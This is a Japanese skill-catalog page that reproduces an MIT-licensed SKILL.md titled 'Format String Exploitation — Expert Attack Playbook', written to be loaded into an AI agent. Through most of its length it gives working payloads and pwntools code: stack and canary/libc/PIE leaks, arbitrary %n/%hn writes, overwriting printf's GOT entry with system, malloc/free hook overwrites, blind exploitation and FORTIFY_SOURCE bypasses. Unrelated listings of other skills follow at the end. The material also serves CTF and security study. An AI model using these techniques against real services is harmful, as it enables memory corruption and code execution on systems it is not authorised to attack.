format-string-exploitation
`printf` 系関数がユーザー制御のフォーマット文字列を受け取る脆弱性を悪用するプレイブック。`%p`/`%s` による任意のスタック読み取り、`%n`/`%hn`/`%hhn` による任意メモリ書き込み、GOT/フック上書き、カナリア/libc/PIEリークなどの攻撃手法を扱う際に使用する。
description の原文を見る
>- Format string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.
SKILL.md 本文
SKILL: Format String Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert フォーマット文字列テクニック。スタック読み取り、%n による任意書き込み、GOT 上書き、__malloc_hook 上書き、ポインタチェーンエクスプロイテーション、ブラインドフォーマット文字列、FORTIFY_SOURCE バイパス、64ビット ヌルバイト処理、pwntools オートメーション をカバー。ctf-wiki fmtstr、CTF パターン、実世界のシナリオから抽出。ベースモデルは位置パラメータオフセットの計算ミスやフォーマット文字列後の64ビットアドレス配置忘れが多い。
0. RELATED ROUTING
stack-overflow-and-rop— フォーマット文字列リークとスタックオーバーフロー組み合わせで完全エクスプロイトbinary-protection-bypass— フォーマット文字列が主要なカナリア/PIE/ASLR リーク手法arbitrary-write-to-rce— フォーマット文字列書き込みプリミティブをコード実行ターゲットへ変換heap-exploitation— フォーマット文字列経由ヒープアドレスリークでヒープエクスプロイテーション
1. VULNERABILITY IDENTIFICATION
脆弱なパターン
printf(user_input); // VULNERABLE: ユーザーがフォーマット文字列を制御
fprintf(fp, user_input); // VULNERABLE
sprintf(buf, user_input); // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE
printf("%s", user_input); // SAFE: フォーマット文字列は固定
クイックテスト
入力: AAAA%p%p%p%p%p%p%p%p
出力にスタック値 (16進アドレス) が表示される場合: フォーマット文字列確定
出力内の 0x4141414141414141 を探して入力オフセットを特定
2. READING MEMORY
スタックリーク (%p)
| フォーマット | 動作 | 用途 |
|---|---|---|
%p | 次のスタック値をポインタとして出力 | 順序的スタックダンプ |
%N$p | N番目パラメータをポインタとして出力 | 直接位置アクセス |
%N$lx | %p と同じだが明示的16進 (64ビット) | ポータブル |
%N$s | N番目パラメータを文字列ポインタとしてデリファレンス | ポインタ値のメモリ読み取り |
入力オフセットの特定
# 送信: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# 出力: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
# ↑ offset = 6 (例)
# または自動化:
for i in range(1, 30):
io.sendline(f'AAAA%{i}$p')
if '0x41414141' in io.recvline():
print(f'Offset = {i}')
break
特定値のリーク
| ターゲット | 手法 | スタック位置 |
|---|---|---|
| カナリア | %N$p (N = フォーマット文字列からカナリアまでのオフセット) | 通常は buf_size/8 + 数個 |
| 保存 RBP | %N$p (リターンアドレスのすぐ上) | スタックアドレスをリーク → スタックベース |
| リターンアドレス | %N$p | .text アドレスをリーク (PIE ベース = leak & ~0xfff - offset) |
| Libc アドレス | %N$p (スタック上の __libc_start_main+XX リターン指す N) | libc ベース = leak - offset |
任意アドレス読み取り (%s)
# 32ビット: ターゲットアドレスをフォーマット文字列の開始に配置
payload = p32(target_addr) + b'%N$s' # N = target_addr がスタック上に現れるオフセット
# 64ビット: アドレスはヌルバイト含有 → フォーマット指定子の後に配置
payload = b'%8$sAAAA' + p64(target_addr) # %8$s がオフセット8 (アドレス位置) から読み取り
3. WRITING MEMORY (%n)
書き込み指定子
| 指定子 | 書き込みバイト数 | 幅 |
|---|---|---|
%n | 4 バイト (int) | 出力文字数合計 |
%hn | 2 バイト (short) | 出力文字数合計 (mod 0x10000) |
%hhn | 1 バイト (char) | 出力文字数合計 (mod 0x100) |
%ln | 8 バイト (long) | 出力文字数合計 |
任意書き込みテクニック
目標: 値 V をアドレス A に書き込む。
32ビット (アドレスが直接スタック上):
# %hn を使用して一度に2バイト書き込み
# ターゲットアドレスをフォーマット文字列内に配置 (スタック上に現れる)
payload = p32(target_addr) # 下位2バイト用
payload += p32(target_addr + 2) # 上位2バイト用
# 各 %hn 書き込みのパディング計算
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
64ビット (アドレスはフォーマット指定子の後):
# アドレスはヌルバイト (0x00007fXXXXXXXX) を含有し文字列を終了
# 解決策: フォーマット指定子の後にアドレスを配置
# ステップ 1: フォーマット文字列部分 (ヌルバイトなし)
fmt = b'%Xc%N$hn%Yc%M$hn'
# ステップ 2: 8バイト境界にパッド
fmt = fmt.ljust(align, b'A')
# ステップ 3: ターゲットアドレス追加
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
%hhn による1バイト単位の書き込み
精密な1バイト単位書き込み (64ビットで48ビットアドレス = 6回書き込み):
writes = {}
for i in range(6):
byte_val = (value >> (i * 8)) & 0xff
writes[target_addr + i] = byte_val
# pwntools が計算を処理:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
4. PWNTOOLS fmtstr_payload()
from pwn import *
# GOT エントリをターゲットアドレスで上書き
payload = fmtstr_payload(
offset, # 入力が現れるスタックオフセット
{elf.got['printf']: libc.symbols['system']}, # {アドレス: 値}
numbwritten=0, # 入力前に既に出力されたバイト数
write_size='short' # 'byte', 'short', または 'int'
)
# 64ビットでアドレスがフォーマット文字列後の場合:
# fmtstr_payload が自動的に処理
FmtStr クラス (インタラクティブエクスプロイテーション)
from pwn import *
def send_payload(payload):
io.sendline(payload)
return io.recvline()
fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset は自動検出
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()
5. GOT OVERWRITE VIA FORMAT STRING
一般的なターゲット
| 上書き | 対象値 | トリガー |
|---|---|---|
printf@GOT | system | 次の printf(user_input) → system(user_input), /bin/sh 送信 |
strlen@GOT | system | strlen(user_input) が呼ばれた場合 |
puts@GOT | system | puts(user_input) が呼ばれた場合 |
atoi@GOT | system | atoi(user_input) が呼ばれた場合 ("sh" を "数字" として送信) |
__stack_chk_fail@GOT | 制御アドレス | カナリアチェック完全バイパス |
exit@GOT | main | マルチショットエクスプロイト用無限ループ作成 |
フックターゲット (glibc < 2.34)
| ターゲット | ワンガジェット | トリガー |
|---|---|---|
__malloc_hook | one_gadget アドレス | printf で大規模フォーマット → 内部 malloc |
__free_hook | system | free("/bin/sh") トリガー |
6. STACK POINTER CHAIN EXPLOITATION
フォーマット文字列がスタック上に直接ない場合 (例: ヒープバッファに格納、スタックポインタで参照)、スタック上のポインタチェーンを使用して任意書き込み実現。
二段階書き込み
スタック:
[オフセット A] → ptr_X (別のスタックアドレスを指すスタックアドレス)
[オフセット B] → ptr_Y (ptr_X のターゲット)
段階1: %A$hn で ptr_X の下位バイト修正 → ptr_X が target_addr を指すように
段階2: %B$n で修正 ptr_X を通して書き込み → target_addr に書き込み
これは既存ポインタチェーンをスタック上で見つけることが必要 (例: 保存フレームポインタチェーン: rbp → prev_rbp → prev_prev_rbp)。
ポインタチェーン検出
# %p でスタックをリーク、以下を探す:
# 1. オフセット N の別のスタックアドレス B を指すスタックアドレス A
# 2. オフセット M の別のスタックアドレス B
# A の値を修正 (%N$hn 使用) で B が指す先を変更
# その後 B を通して書き込み (%M$hn 使用) で target に書き込み
7. BLIND FORMAT STRING
リモートサービス、バイナリなし、ソースなし — ブラインドフォーマット文字列エクスプロイト。
方法論
| ステップ | 動作 | 目的 |
|---|---|---|
| 1 | %p × 50 を送信 | スタックダンプ、アドレスパターン特定 |
| 2 | オフセット特定 | libc アドレス (0x7f...)、スタックアドレス (0x7ff...)、コードアドレス検出 |
| 3 | 入力オフセット検出 | N=1..50 で AAAA%N$p 送信、0x41414141 を検出 |
| 4 | バイナリベース特定 | コードアドレスから PIE ベース露見 (PIE なしなら固定ベース) |
| 5 | GOT エントリリーク | バイナリベース判明時、%N$s で GOT アドレス経由リーク |
| 6 | Libc ベース計算 | GOT 値 - libc シンボルオフセット |
| 7 | GOT 上書き | %n で GOT エントリを system アドレスで再書き込み |
8. FORTIFY_SOURCE BYPASS
FORTIFY_SOURCE (gcc -D_FORTIFY_SOURCE=2) が printf を __printf_chk で置換し、%N$n (位置指定書き込み) を禁止。
バイパステクニック
| 手法 | 詳細 |
|---|---|
位置指定なし %hn を順序利用 | 正確なバイト数出力、%hn、調整、%hn — 不安定だが機能 |
| スタックベースエクスプロイト | フォーマット文字列がスタック上なら、スタック位置制御で非位置指定 %n 使用 |
| ヒープオーバーフロー代替 | FORTIFY がヒープ保護しない — ヒープバグ組み合わせ |
| printf へのリターン | ROP でバイナリまたは libc の未保護 printf 呼び出し |
9. 64-BIT CONSIDERATIONS
| 課題 | 解決策 |
|---|---|
アドレスが \x00 (ヌルバイト、文字列終了) 含有 | フォーマット指定子の後にアドレス配置、境界揃え |
| アドレス幅: 6有意バイト | 3 × %hn (各2バイト) または 6 × %hhn 書き込み |
| より大きいスタックオフセット範囲 | 入力がオフセット 6+ で現れる可能性 (6レジスタ引数保存) |
| 48ビットアドレス空間 | 64ビットの下位48ビットのみ使用 |
レイアウトテンプレート (64ビット)
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
← ヌルバイトなし → ← ヌルバイト OK (fmt 後) →
10. DECISION TREE
フォーマット文字列脆弱性確定 (printf(user_input))
├── FORTIFY_SOURCE 有効? (__printf_chk)
│ ├── はい → 位置指定 %n ブロック
│ │ ├── 位置指定なし %n 可能? → 非位置指定書き込み
│ │ └── 別のプリミティブ組み合わせ (ヒープ、ROP)
│ └── いいえ → 完全位置指定 %n 利用可
├── 最初に何が必要?
│ ├── カナリアリーク → %N$p (カナリアスタックオフセット)
│ ├── PIE ベースリーク → %N$p (リターンアドレス) → ベース = leak - 既知オフセット
│ ├── Libc ベースリーク → %N$p (スタック上 __libc_start_main リターン)
│ ├── ヒープベースリーク → %N$p (スタック上ヒープポインタ)
│ └── 特定アドレスリーク → %N$s (スタック上ターゲットアドレス)
├── アーキテクチャ?
│ ├── 32ビット → フォーマット文字列開始にアドレス
│ └── 64ビット → フォーマット文字列後にアドレス (ヌルバイト問題)
├── 書き込みターゲット?
│ ├── 部分 RELRO → GOT 上書き (printf→system, atoi→system)
│ ├── 完全 RELRO → __malloc_hook または __free_hook (2.34 前)
│ ├── 完全 RELRO + glibc ≥ 2.34 → _IO_FILE、exit_funcs、TLS_dtor_list ターゲット
│ └── スタックリターンアドレス → 直接上書き (ASLR バイパス時)
├── 単一ショットまたはマルチショット?
│ ├── ループ (マルチショット) → GOT エントリ段階的上書き、ポインタチェーン使用
│ └── ワンショット → fmtstr_payload() で全書き込み単一ペイロード
└── 入力がスタック上にない? (ヒープバッファ)
└── 間接書き込みにスタックポインタチェーン使用
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。